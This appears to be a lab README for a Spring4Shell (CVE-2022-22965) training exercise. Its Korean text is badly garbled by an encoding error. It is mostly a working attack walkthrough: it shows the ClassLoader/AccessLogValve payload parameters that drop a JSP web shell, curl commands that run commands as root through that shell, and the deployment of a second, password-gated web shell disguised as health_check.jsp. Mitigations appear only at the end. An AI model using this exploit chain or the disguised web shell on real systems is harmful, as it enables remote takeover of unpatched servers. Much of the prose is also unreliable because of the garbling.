Share
## https://sploitus.com/exploit?id=8D31C560-D79E-5A6E-975B-CC0EFC1F2605
# CVE-2022-22965 Β· Spring4Shell μ·¨μ½μ κ΅μ‘ μ€μ΅
> **β οΈ κ²½κ³ (Warning)**
> μ΄ μ μ₯μλ **SKμ΄λμ€ μ΄νμ€νΈ(EQST) κ΅μ‘ κΈ°κ΄μ κ°μ΄λλΌμΈ**μ λ°λ₯Έ **κ΅μ‘ λͺ©μ μ λͺ¨μν΄νΉ(Penetration Testing) μ€μ΅ μ½λ**μ
λλ€.
> λͺ¨λ 곡격μ κ΅μ‘κΈ°κ΄μμ μ 곡ν **λ‘컬 격리 νκ²½(Docker)**μμλ§ μνλμμ΅λλ€.
> 무λ¨μΌλ‘ νκ°λ°μ§ μμ μμ€ν
μ μ¬μ©νλ κ²μ λ²μ μΌλ‘ μ격ν κΈμ§λ©λλ€.
---
## π₯οΈ μ 체 μ€ν κ°μ΄λ (μ²μλΆν° λκΉμ§ λ°λΌνκΈ°)
> κ° λ¨κ³λ§λ€ **μ
λ ₯ν λͺ
λ Ήμ΄**μ **μ€μ λ‘ λμ€λ κ²°κ³Ό νλ©΄**μ κ·Έλλ‘ μλ‘νμ΅λλ€.
>
> π‘ **μν΄λ¦ μλ μ€ν:** κ°λ³ μ€ν¬λ¦½νΈ μ€ν λμ μλ νλμ λͺ
λ Ήμ΄λ‘ μ 체 κ³Όμ μ μλμΌλ‘ μ€μ΅ν μ μμ΅λλ€.
> ```bash
> python3 exploit_runner.py
> ```
> *(exploit_runner.pyλ Docker μ€μ΅ νκ²½μ λ§μΆ° curl λ€μ΄λ‘λ μ€ν¨ μ `docker cp`λ‘ μλ ν΄λ°±λλ λ‘μ§μ΄ μ μ©λμ΄ μμ΅λλ€.)*
---
### π STEP 0. [νμ] μμ
ν΄λλ‘ μ΄λ β λͺ¨λ λͺ
λ Ήμ΄λ μ΄ ν΄λμμ μ€νν΄μΌ ν©λλ€!
> β οΈ **κ°μ₯ νν μ€μ:** ν΄λ μ΄λ μμ΄ λ€λ₯Έ μμΉμμ λͺ
λ Ήμ΄λ₯Ό μ€ννλ©΄
> `No such file or directory` λλ `No module named` μλ¬κ° λ©λλ€.
> **λ°λμ μλ `cd` λͺ
λ Ήμ΄λ₯Ό λ¨Όμ μ€νν ν** λ€μ λ¨κ³λ‘ λμ΄κ°μΈμ.
```bash
cd "/Users/glory1994/Library/CloudStorage/OneDrive-κ°μΈ/99.Develop/CVE-2022-22965"
```
νμ¬ μμΉκ° μ¬λ°λ₯Έμ§ νμΈν©λλ€.
```bash
pwd
```
**κ²°κ³Ό (λ°λμ μλμ κ°μμΌ ν©λλ€):**
```
/Users/glory1994/Library/CloudStorage/OneDrive-κ°μΈ/99.Develop/CVE-2022-22965
```
> β
ν°λ―Έλ ν둬ννΈκ° `CVE-2022-22965 glory1994$` λ‘ λ°λλ©΄ μ€λΉ μλ£μ
λλ€.
> β ν둬ννΈκ° `99.Develop glory1994$` λΌλ©΄ μμ§ μ΄λμ΄ μ λ κ²μ
λλ€. μ `cd` λͺ
λ Ήμ΄λ₯Ό λ€μ μ€ννμΈμ.
νμΌ λͺ©λ‘μ νμΈν©λλ€. μλ 4κ° νμΌμ΄ λͺ¨λ 보μ¬μΌ ν©λλ€.
```bash
ls -la
```
**κ²°κ³Ό:**
```
total 72
drwxr-xr-x 7 glory staff 224 3 14 15:00 .
drwxr-xr-x 9 glory staff 288 3 14 04:00 ..
-rw-r--r-- 1 glory staff 5013 3 14 14:00 health_check.jsp β Stage 2 μΉμ
-rw-r--r-- 1 glory staff 3619 3 14 14:30 stage1_dropper.py β Stage 1 곡격 μ€ν¬λ¦½νΈ
-rw-r--r-- 1 glory staff 5309 3 14 14:40 stage2_uploader.py β Stage 2 λ°°ν¬ μ€ν¬λ¦½νΈ
-rw-r--r-- 1 glory staff 8500 3 14 15:00 README.md
```
> β νμΌμ΄ 보μ΄μ§ μλλ€λ©΄ `cd` λͺ
λ Ήμ΄κ° μ λλ‘ μ€νλμ§ μμ κ²μ
λλ€.
---
### π³ STEP 1. λ컀 컨ν
μ΄λ(νΌν΄μ μλ²) μ€ν νμΈ
```bash
docker ps
```
**κ²°κ³Ό:** (μλμ κ°μ΄ `cvepratice-spring-1` 컨ν
μ΄λκ° μ€ν μ€μ΄μ΄μΌ ν©λλ€)
```
CONTAINER ID IMAGE COMMAND PORTS NAMES
d7958944303d cvepratice-spring "/usr/local/bin/..." 0.0.0.0:8011->8080/tcp cvepratice-spring-1
```
νΌν΄μ μλ² μΉ νμ΄μ§κ° μ μμ μΌλ‘ μ΄λ¦¬λμ§ νμΈν©λλ€.
```bash
curl -s -I http://localhost:8011/spring-form/notices
```
**κ²°κ³Ό:**
```
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Date: Sat, 14 Mar 2026 05:00:00 GMT
```
> `HTTP/1.1 200` μ΄ μΆλ ₯λλ©΄ νΌν΄μ μλ²κ° μ μ λμ μ€μ
λλ€.
---
### π£ STEP 2. [곡격] Spring4Shell μ·¨μ½μ λ°λ β 1λ¨κ³ μΉμ μμ±
`stage1_dropper.py`λ₯Ό μ€ννλ©΄, νΌν΄μ μλ²μ Data Binding μ·¨μ½μ μ 곡격νμ¬ μλ² λ΄λΆμ 1λ¨κ³ μΉμ(`yaho4.jsp`)μ μ¬μ΅λλ€.
```bash
python3 stage1_dropper.py
```
**κ²°κ³Ό:**
```
[*] Sending Stage 1 payload to http://localhost:8011/spring-form/login...
[*] Received Response Code: 200
[+] Stage 1 Exploit Attempt Completed.
[+] To trigger log flush, visit: http://localhost:8011/spring-form/login once
[+] The Stager has been created at: http://localhost:8011/yaho4.jsp?cmd=whoami
```
> `Received Response Code: 200` μ΄λ©΄ Spring4Shell 곡격 μμ²μ΄ νΌν΄μ μλ²μ μ±κ³΅μ μΌλ‘ μ μλ κ²μ
λλ€.
---
### π STEP 3. [곡격] 1λ¨κ³ μΉμ λΉλ μ λ (Tomcat λ‘κ·Έ Flush)
Tomcatμ΄ λ²νΌμ λ΄κ³ μλ λ‘κ·Έ(= μ°λ¦¬κ° μ¬μ μΉμ μ½λ)λ₯Ό μ€μ νμΌλ‘ λμ€ν¬μ κΈ°λ‘νλλ‘,
μ μ νμ΄μ§λ₯Ό ν λ² λ°©λ¬Έν©λλ€.
```bash
curl -s "http://localhost:8011/spring-form/login" > /dev/null
```
**κ²°κ³Ό:** (μ무κ²λ μΆλ ₯λμ§ μμΌλ©΄ μ μμ
λλ€)
λ컀 컨ν
μ΄λ λ΄λΆμ νμΌμ΄ μμ±λμλμ§ μ§μ νμΈν©λλ€.
```bash
docker exec cvepratice-spring-1 bash -c "ls -la /usr/local/tomcat/webapps/ROOT/"
```
**κ²°κ³Ό:**
```
total 8
drwxr-x--- 3 root root 96 Mar 14 05:19 .
drwxrwxr-x 7 root root 224 Mar 14 05:03 ..
-rw-r----- 1 root root 3832 Mar 14 05:40 yaho4.jsp β μ΄ νμΌμ΄ μμ±λ κ²!
```
> `yaho4.jsp` νμΌμ΄ λͺ©λ‘μ λνλλ©΄ **1λ¨κ³ μΉμ μμ± μ±κ³΅**μ
λλ€!
---
### β‘ STEP 4. [곡격] 1λ¨κ³ μΉμλ‘ μ격 λͺ
λ Ή μ€ν (RCE νμΈ)
μμ±λ `yaho4.jsp` μΉμμ ν΅ν΄ νΌν΄μ μλ²μμ μμμ λͺ
λ Ήμ΄λ₯Ό μ€νν©λλ€.
```bash
# νμ¬ μλ² μ μ μ¬μ©μ νμΈ
curl -s "http://localhost:8011/yaho4.jsp?cmd=whoami"
```
**κ²°κ³Ό:**
```
root
```
```bash
# μλ² μ¬μ©μ λ° κ·Έλ£Ή ID νμΈ
curl -s "http://localhost:8011/yaho4.jsp?cmd=id"
```
**κ²°κ³Ό:**
```
uid=0(root) gid=0(root) groups=0(root)
```
> **`root`** κ° μΆλ ₯λλ©΄ νΌν΄μ μλ²μμ μ΅κ³ κ΄λ¦¬μ κΆνμΌλ‘ λͺ
λ Ήμ΄κ° μ€νλκ³ μλ€λ μλ―Έμ
λλ€.
> **Spring4Shell RCE μ·¨μ½μ μ¦λͺ
μλ£! β
**
---
### ποΈ STEP 5. [곡격] 2λ¨κ³ μΉμ λ°°ν¬ (Clean Architecture μμ±ν μΉμ)
1λ¨κ³μ λ¨μν μμ κ±°μ μΌμ, SOLID μμΉμ΄ μ μ©λ μμ±ν μΉμ(`health_check.jsp`)μ μλ²μ μ
λ‘λν©λλ€.
```bash
docker cp health_check.jsp cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```
**κ²°κ³Ό:**
```
Successfully copied 6.66kB to cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```
---
### π STEP 6. [κ²μ¦] 2λ¨κ³ μμ±ν μΉμ λμ νμΈ
```bash
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"
```
**κ²°κ³Ό (HTML ν¬ν¨):**
```html
Clean Architecture WebShell (Edu)
...
Advanced WebShell (Stage 2)
$ id
uid=0(root) gid=0(root) groups=0(root)
```
> λΈλΌμ°μ μμ μ§μ μ΄κ³ μΆμ κ²½μ°, μλ μ£Όμλ₯Ό 볡μ¬νμ¬ λΈλΌμ°μ μ£Όμμ°½μ λΆμ¬λ£κΈ° ν©λλ€.
> ```
> http://localhost:8011/health_check.jsp?pwd=glory&cmd=id
> ```
---
| STEP 6 | `curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"` | HTML μλ΅ λ΄ `uid=0(root) gid=0(root) groups=0(root)` μΆλ ₯ |
- [μ·¨μ½μ κ°μ](#μ·¨μ½μ -κ°μ)
- [μν₯ λ°λ νκ²½](#μν₯-λ°λ-νκ²½)
- [곡격 μλ리μ€](#곡격-μλ리μ€)
- [ν
μ€νΈ νκ²½](#ν
μ€νΈ-νκ²½)
- [νλ‘μ νΈ κ΅¬μ‘°](#νλ‘μ νΈ-ꡬ쑰)
- [μ½λ μ¬μ© λ°©λ² (Quick Start)](#μ½λ-μ¬μ©-λ°©λ²-quick-start)
- [μν€ν
μ² μ€κ³ μμΉ](#μν€ν
μ²-μ€κ³-μμΉ)
- [μ€μ΅ μ§ν μμ](#μ€μ΅-μ§ν-μμ)
- [λμ λ°©μ (Mitigation)](#λμ-λ°©μ-mitigation)
- [μ°Έκ³ λ¬Έν](#μ°Έκ³ λ¬Έν)
---
## μ·¨μ½μ κ°μ
**Spring4Shell(CVE-2022-22965)**μ 2022λ
3μ 29μΌ κ³΅κ°λ **μ λ‘λ°μ΄(Zero-Day) μ격 μ½λ μ€ν(RCE)** μ·¨μ½μ μ
λλ€.
Spring Frameworkμ **Data Binding λ©μ»€λμ¦** μ·¨μ½μ μ ν΅ν΄ 곡격μκ° `ClassLoader` μμ±μ μΈλΆμμ λ³μ‘°ν μ μμΌλ©°, μ΄λ₯Ό μ΄μ©ν΄ Tomcatμ `AccessLogValve` μμ±μ μ‘°μνμ¬ **μΉ λ£¨νΈ λλ ν°λ¦¬μ μμμ JSP νμΌ(μΉμ)μ μμ±**νκ³ μ격 λͺ
λ Ήμ μ€νν μ μμ΅λλ€.
| νλͺ© | λ΄μ© |
|------|------|
| CVE ID | CVE-2022-22965 |
| CVSS μ μ | 9.8 (Critical) |
| 곡격 μ ν | Remote Code Execution (RCE) |
| μ·¨μ½μ μμΈ | Spring Data Binding + JDK 9 ClassLoader λ³μ‘° |
| λ°νμΌ | 2022λ
3μ 29μΌ |
---
## μν₯ λ°λ νκ²½
| μννΈμ¨μ΄ | μ·¨μ½ λ²μ |
|-----------|----------|
| Spring Framework | 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 λ° μ΄μ λ²μ |
| JDK | **9 μ΄μ** (ν΅μ¬ 쑰건) |
| WAS | Apache Tomcat (Spring MVC λλ WebFlux μ¬μ© μ) |
> **ν΅μ¬ 쑰건:** JDK 9λΆν° λμ
λ `class.getModule()` APIκ° `ClassLoader` μΈλΆ μ κ·Όμ νμ©νκ² λλ©΄μ μ·¨μ½μ μ΄ λ°μν©λλ€.
---
## 곡격 μλ리μ€
```
β 곡격μ β μ·¨μ½ν Spring4Shell λμ νμ
β‘ μ·¨μ½ν μΉ μ±μ Data Binding μλν¬μΈνΈ (POST /login λ±)λ‘ κ³΅κ²© μμ² μ μ‘
β’ Tomcat AccessLogValve μμ± λ³μ‘° β JSP μΉμ μ½λκ° λ‘κ·Έ νμΌλ‘ κΈ°λ‘
β£ μΉμμ΄ μΉ λ£¨νΈμ μμ±λμ΄ URLλ‘ μ κ·Ό κ°λ₯ν΄μ§
β€ μΉμμ ν΅ν΄ λ΄λΆ μλ²μ μ격 λͺ
λ Ή μ€ν (RCE)
```
---
## ν
μ€νΈ νκ²½
```
[곡격μ PC] [νΌν΄μ 컨ν
μ΄λ - Docker]
Mac (λ‘컬) Spring Framework 5.3.15
JDK 11 (Spring Boot λ΄μ₯ Tomcat)
Apache Tomcat 9.0.60
Port: localhost:8011
```
### Docker 컨ν
μ΄λ μ 보
```bash
# μ€ν μ€μΈ μ·¨μ½ μλ² νμΈ
docker ps | grep spring
# 컨ν
μ΄λλͺ
: cvepratice-spring-1
# μ κ·Ό URL: http://localhost:8011/spring-form/
```
---
## νλ‘μ νΈ κ΅¬μ‘°
```
CVE-2022-22965/
βββ README.md # μ΄ λ¬Έμ
βββ exploit_runner.py # π [NEW] μν΄λ¦ μλ ν΅ν© μ€νκΈ° (Docker μ μ© μλ ν΄λ°± ν¬ν¨)
βββ stage1_dropper.py # Stage 1: Spring4Shell 곡격 μ€ν¬λ¦½νΈ (Stager μμ±)
βββ stage2_uploader.py # Stage 2: μμ±ν μΉμ λ°°ν¬ μ€ν¬λ¦½νΈ
βββ health_check.jsp # Stage 2: Clean Architecture κΈ°λ° μΉμ
```
---
## μ½λ μ¬μ© λ°©λ² (Quick Start)
### π§ μ¬μ μ건 (Prerequisites)
| νλͺ© | λ²μ / 쑰건 |
|------|------------|
| Python | 3.8 μ΄μ |
| Docker | μ€ν μ€μ΄μ΄μΌ ν¨ |
| λ€νΈμν¬ | λ‘컬 νκ²½ (localhost:8011 μ κ·Ό κ°λ₯) |
| μΈλΆ λΌμ΄λΈλ¬λ¦¬ | μμ (Python νμ€ λΌμ΄λΈλ¬λ¦¬λ§ μ¬μ©) |
> **μ°Έκ³ :** λͺ¨λ μ€ν¬λ¦½νΈλ μΈλΆ ν¨ν€μ§(`requests` λ±) μμ΄ Python λ΄μ₯ λͺ¨λ(`urllib`, `http.server`, `unittest`)λ§ μ¬μ©νλ―λ‘ λ³λ μ€μΉκ° νμμμ΅λλ€.
---
### π 1. μ μ₯μ νμΌ λ°°μΉ νμΈ
λ€μκ³Ό κ°μ΄ μμ
λλ ν°λ¦¬λ₯Ό νμΈν©λλ€.
```bash
ls -la CVE-2022-22965/
# μλ νμΌλ€μ΄ λͺ¨λ μμ΄μΌ ν©λλ€.
# stage1_dropper.py
# stage2_uploader.py
# health_check.jsp
```
---
### π 2. `stage1_dropper.py` β Stage 1 곡격 μ€ν¬λ¦½νΈ
**Spring4Shell μ·¨μ½μ μ μ΄μ©ν΄ νκ² μλ²μ 1λ¨κ³ μΉμ(Stager)μ μμ±ν©λλ€.**
```bash
# μ€ν
python3 stage1_dropper.py
# μμ μΆλ ₯
# [*] Sending Stage 1 payload to http://localhost:8011/spring-form/login...
# [*] Received Response Code: 200
# [+] Stage 1 Exploit Attempt Completed.
# [+] The Stager has been created at: http://localhost:8011/yaho4.jsp?cmd=whoami
```
**μ€μ 컀μ€ν°λ§μ΄μ§ (μ€ν¬λ¦½νΈ λ΄ `ExploitConfig`):**
```python
config = ExploitConfig(
target_url="http://localhost:8011/spring-form/login", # μ·¨μ½ μλν¬μΈνΈ URL
output_dir="webapps/ROOT", # μΉμμ΄ μ μ₯λ Tomcat κ²½λ‘
filename="yaho4", # μμ±λ JSP νμΌλͺ
(νμ₯μ μ μΈ)
)
```
> **μ£Όμ:** `target_url`μ λ°λμ POST μμ²μ μλ½νκ³ Spring Data Bindingμ΄ λμνλ μλν¬μΈνΈμ΄μ΄μΌ ν©λλ€.
---
### π 3. Tomcat λ‘κ·Έ Flush (νμ)
Stager νμΌμ΄ λμ€ν¬μ μ€μ λ‘ κΈ°λ‘λλ €λ©΄, Tomcatμ΄ λ‘κ·Έ λ²νΌλ₯Ό λΉμ°λλ‘ μμμ GET μμ²μ ν λ² λ³΄λ΄μΌ ν©λλ€.
```bash
curl -s "http://localhost:8011/spring-form/login" > /dev/null
```
---
### β
4. Stage 1 μΉμ λμ ν
μ€νΈ
```bash
# λͺ
λ Ήμ΄ μ€ν ν
μ€νΈ
curl -s "http://localhost:8011/yaho4.jsp?cmd=whoami"
# κΈ°λ μΆλ ₯ β root
curl -s "http://localhost:8011/yaho4.jsp?cmd=id"
# κΈ°λ μΆλ ₯ β uid=0(root) gid=0(root) groups=0(root)
curl -s "http://localhost:8011/yaho4.jsp?cmd=ls%20-la%20/"
# κΈ°λ μΆλ ₯ β λ£¨νΈ νμΌμμ€ν
λͺ©λ‘
```
---
### ποΈ 5. `stage2_uploader.py` β Stage 2 λ°°ν¬ μ€ν¬λ¦½νΈ
**Stage 1 μΉμμ κ±°μ μΌμ SOLID/Clean Architecture μμ±ν μΉμ(`health_check.jsp`)μ μ
λ‘λν©λλ€.**
```bash
# λ°©λ² A: νμ΄μ¬ μλν (λ‘컬 HTTP μλ² κΈ°λ ν curlλ‘ νμΌ λ€μ΄λ‘λ)
python3 stage2_uploader.py
# λ°©λ² B: docker cp μ§μ λ³΅μ¬ (격리 νκ²½μμ κ°μ₯ μμ νκ³ νμ€ν λ°©λ²)
docker cp health_check.jsp cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```
**μ€μ 컀μ€ν°λ§μ΄μ§ (μ€ν¬λ¦½νΈ λ΄ `UploadConfig`):**
```python
config = UploadConfig(
stager_url="http://localhost:8011/yaho4.jsp", # Stage 1 μΉμ URL
stage2_file="health_check.jsp", # μ
λ‘λν Stage 2 νμΌλͺ
local_port=9090, # λ‘컬 μμ HTTP μλ² ν¬νΈ
target_dir="/usr/local/tomcat/webapps/ROOT", # νκ² μλ² μ μ₯ κ²½λ‘
)
```
---
### π 6. `health_check.jsp` β Stage 2 μΉμ μ μ
**μΈμ¦ν€(`pwd`)μ λͺ
λ Ήμ΄(`cmd`)λ₯Ό URL 쿼리 νλΌλ―Έν°λ‘ μ λ¬ν©λλ€.**
```bash
# κΈ°λ³Έ μ¬μ©λ²
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd="
# μμ 1: νμ¬ μ¬μ©μ νμΈ
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"
# μμ 2: μλ² OS μ 보 νμΈ
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=uname%20-a"
# μμ 3: νκ²½λ³μ νμΈ
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=env"
# μμ 4: λΈλΌμ°μ μμ μ μ
# http://localhost:8011/health_check.jsp?pwd=glory&cmd=id
```
> **μΈμ¦ν€ λ³κ²½:** `health_check.jsp`μ 34λ²μ§Έ μ€μ `"glory"`λ₯Ό μνλ κ°μΌλ‘ μμ ν©λλ€.
---
### π§ͺ 7. `test_stage1_dropper.py` β μ λ ν
μ€νΈ μ€ν
**μ€μ μλ² μ°κ²° μμ΄ Mock κ°μ²΄λ‘ λ
립μ μΌλ‘ μ€νλ©λλ€.**
```bash
# μ 체 ν
μ€νΈ μ€ν (κ°λ΅ μΆλ ₯)
python3 -m unittest test_stage1_dropper.py
# μμΈ μΆλ ₯ λͺ¨λ (-v)
python3 -m unittest test_stage1_dropper.py -v
# νΉμ ν
μ€νΈ μΌμ΄μ€λ§ μ€ν
python3 -m unittest test_stage1_dropper.TestExploitConfig
python3 -m unittest test_stage1_dropper.TestSpring4ShellPayloadGenerator
python3 -m unittest test_stage1_dropper.TestExploitController
# μμ μΆλ ₯
# .......
# ----------------------------------------------------------------------
# Ran 7 tests in 0.012s
# OK
```
---
## μν€ν
μ² μ€κ³ μμΉ
λ³Έ μ€μ΅ μ½λλ μ€λ¬΄ λͺ¨μν΄νΉ λ΄λΉμκ° μμ±νλ μ½λλ₯Ό κ°μ νμ¬, λͺ¨λ νμΌμ **SOLID μμΉ**κ³Ό **Clean Architecture(ν΄λ¦° μν€ν
μ²)**λ₯Ό μ μ©νμμ΅λλ€.
### SOLID μ μ© λ΄μ
| μμΉ | μ μ© λ΄μ© |
|------|----------|
| **SRP** (λ¨μΌ μ±
μ) | `ExploitConfig`, `PayloadGenerator`, `ExploitController`λ₯Ό κ°κ° λΆλ¦¬ |
| **OCP** (κ°λ°©-νμ) | `PayloadGeneratorPort` μΈν°νμ΄μ€λ‘ μ νμ΄λ‘λ μ ν μΆκ° μ κΈ°μ‘΄ μ½λ μμ λΆνμ |
| **LSP** (리μ€μ½ν μΉν) | `Spring4ShellPayloadGenerator`κ° `PayloadGeneratorPort`λ₯Ό μμ ν λ체 κ°λ₯ |
| **ISP** (μΈν°νμ΄μ€ λΆλ¦¬) | `CommandExecutorPort`, `FileServerPort` λ± μ΅μ μ±
μμ μΈν°νμ΄μ€λ‘ λΆλ¦¬ |
| **DIP** (μμ‘΄μ± μμ ) | μμ λͺ¨λ(`ExploitController`)μ΄ κ΅¬μ²΄ ν΄λμ€κ° μλ μΆμ μΈν°νμ΄μ€μ μμ‘΄ |
### Clean Architecture λ μ΄μ΄ ꡬ쑰
```
βββββββββββββββββββββββββββββββββββββββββββ
β Frameworks & Drivers (Infrastructure) β
β SystemCommandAdapter, LocalFileServer β
βββββββββββββββββββββββββββββββββββββββββββ€
β Interface Adapters (Controllers) β
β ExploitController, Stage2Uploader β
βββββββββββββββββββββββββββββββββββββββββββ€
β Use Cases (Application Logic) β
β WebShellUseCase, Stage2UploadUseCase β
βββββββββββββββββββββββββββββββββββββββββββ€
β Entities (Core Domain) β
β ExploitConfig, CommandResult β
βββββββββββββββββββββββββββββββββββββββββββ
```
---
## μ€μ΅ μ§ν μμ
### Step 1. Stage 1 곡격 μ€ν (Stager μμ±)
Spring4Shell μ·¨μ½μ μ μ΄μ©ν΄ νκ² μλ²μ 1μ€μ§λ¦¬ **κΈ°μ΄ μΉμ (Stager, `yaho4.jsp`)** μ μμ±ν©λλ€.
```bash
python3 stage1_dropper.py
```
**λμ μ리:**
- `POST /spring-form/login` μλν¬μΈνΈλ‘ `ClassLoader` λ³μ‘° νμ΄λ‘λλ₯Ό μ μ‘
- Tomcat `AccessLogValve`μ `pattern`, `suffix`, `directory`, `prefix` μμ±μ λ³μ‘°
- HTTP μμ²μ΄ κΈ°λ‘λ λ λ³μ‘°λ λ‘κ·Έ ν¨ν΄μ΄ JSP μ½λλ‘ `webapps/ROOT/yaho4.jsp`μ μ μ₯λ¨
**μ μ‘λλ ν΅μ¬ HTTP νλΌλ―Έν°:**
```
class.module.classLoader.resources.context.parent.pipeline.first.pattern = [JSP μΉμ μ½λ]
class.module.classLoader.resources.context.parent.pipeline.first.suffix = .jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory = webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix = yaho4
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat = (곡백)
```
### Step 2. Tomcat λ‘κ·Έ λ²νΌ Flush
Tomcatμ΄ λ©λͺ¨λ¦¬ λ²νΌμ λ΄κΈ΄ μμ² λ‘κ·Έλ₯Ό λμ€ν¬μ 물리μ νμΌλ‘ κΈ°λ‘νλλ‘ μΌλ° GET μμ²μ μΆκ°λ‘ 보λ
λλ€.
```bash
curl -s "http://localhost:8011/spring-form/login" > /dev/null
```
### Step 3. Stage 1 μΉμ λμ νμΈ
μμ±λ κΈ°μ΄ μμ λͺ
λ Ήμ΄λ₯Ό μ λ¬ν΄ μλ² λ΄λΆ μ μ½λ μ€νμ΄ κ°λ₯νμ§ κ²μ¦ν©λλ€.
```bash
curl -s "http://localhost:8011/yaho4.jsp?cmd=whoami"
# κΈ°λ μΆλ ₯: root
```
### Step 4. Stage 2 λ°°ν¬ (Clean Architecture μΉμ)
Stage 1 κ±°μ μ λ°ν μΌμ SOLID/Clean Architecture κΈ°λ°μ μμ±ν μΉμ(`health_check.jsp`)μ νκ² μλ²μ μ
λ‘λν©λλ€.
```bash
# λ°©λ² A: Python μλν μ€ν¬λ¦½νΈ (curl λ€μ΄λ‘λ λ°©μ - host.docker.internal μ κ·Ό)
python3 stage2_uploader.py
# λ°©λ² B: Docker cp μ§μ λ³΅μ¬ (κ°μ₯ νμ€ν λ°©λ² / exploit_runner.py μ μλ ν΄λ°± λ°©μ)
docker cp health_check.jsp cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```
### Step 5. Stage 2 μΉμ μ΅μ’
νμΈ β
```bash
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"
```
**κΈ°λ μΆλ ₯:**
```html
Advanced WebShell (Stage 2)
$ id
uid=0(root) gid=0(root) groups=0(root)
```
---
## μ λ ν
μ€νΈ
Stage 1 Exploit μ€ν¬λ¦½νΈ(`stage1_dropper.py`)μ κ° λ μ΄μ΄(Config, PayloadGenerator, Controller)μ λν λ¨μ ν
μ€νΈλ₯Ό μμ±νμμ΅λλ€. μ€μ μλ²λ‘ HTTP μμ²μ 보λ΄μ§ μκ³ , **Mock κ°μ²΄(unittest.mock)**λ₯Ό μ΄μ©νμ¬ λ
립μ μΌλ‘ κ²μ¦ν©λλ€.
```bash
python3 -m unittest test_stage1_dropper.py -v
```
**ν
μ€νΈ μλ리μ€:**
| ν
μ€νΈ | κ²μ¦ λ΄μ© |
|--------|----------|
| `test_config_initialization` | νκ² URL, νμΌλͺ
, λλ ν°λ¦¬ κΈ°λ³Έκ° μ€μ κ²μ¦ |
| `test_generate_headers_contains_required_keys` | HTTP ν€λμ `prefix`, `suffix`, `c` ν€ ν¬ν¨ μ¬λΆ |
| `test_generate_body_contains_classloader_modification_keys` | Data Binding νμ΄λ‘λ ν€ μ νμ± |
| `test_generate_body_contains_stager_code` | Stager JSP μ½λμ `cmd` νλΌλ―Έν° ν¬ν¨ νμΈ |
| `test_run_exploit_success_on_http_200` | HTTP 200 μ μ±κ³΅ λ°ν |
| `test_run_exploit_success_on_expected_http_error` | HTTP 4xx μλ¬ μμλ μ±κ³΅μΌλ‘ κ°μ£Ό (Tomcatμ μλ¬ μλ΅μλ λ‘κ·Έ κΈ°λ‘) |
| `test_run_exploit_failure_on_connection_error` | λ€νΈμν¬ μ°κ²° μ€ν¨ μ μ€ν¨ λ°ν |
---
## λμ λ°©μ (Mitigation)
| μ°μ μμ | μ‘°μΉ λ°©λ² |
|----------|----------|
| β
κΆμ₯ | **Spring Framework 5.3.18 λλ 5.2.20 μ΄μμΌλ‘ μ
κ·Έλ μ΄λ** |
| β
κΆμ₯ | **Spring Boot 2.6.6 λλ 2.5.12 μ΄μμΌλ‘ μ
κ·Έλ μ΄λ** |
| π μμ | Apache Tomcatμ 10.0.20, 9.0.62, 8.5.78 μ΄μμΌλ‘ μ
κ·Έλ μ΄λ |
| π μμ | JDK 9 μ΄μ μ¬μ© μ€μ΄λ©΄ JDK 8λ‘ λ€μ΄κ·Έλ μ΄λ |
| π μμ | `@ControllerAdvice`μ `ClassLoader` λ΄λΆ νλ λ°μΈλ© μ°¨λ¨ λ‘μ§ μΆκ° |
---
## μ°Έκ³ λ¬Έν
- [SKμ΄λμ€ EQST insight - Research Technique 202204](https://www.skshieldus.com)
- [Spring 곡μ λΈλ‘κ·Έ - Spring4Shell RCE Early Announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
- [NVD - CVE-2022-22965](https://nvd.nist.gov/vuln/detail/CVE-2022-22965)
- [JFrog Blog - SpringShell Zero-Day](https://jfrog.com/blog/springshell-zero-day-vulnerability-all-you-need-to-know/)
- [Unit42 - CVE-2022-22965 SpringShell Analysis](https://unit42.paloaltonetworks.com/cve-2022-22965-springshell/)
- [Spring Framework Patch Commit](https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15)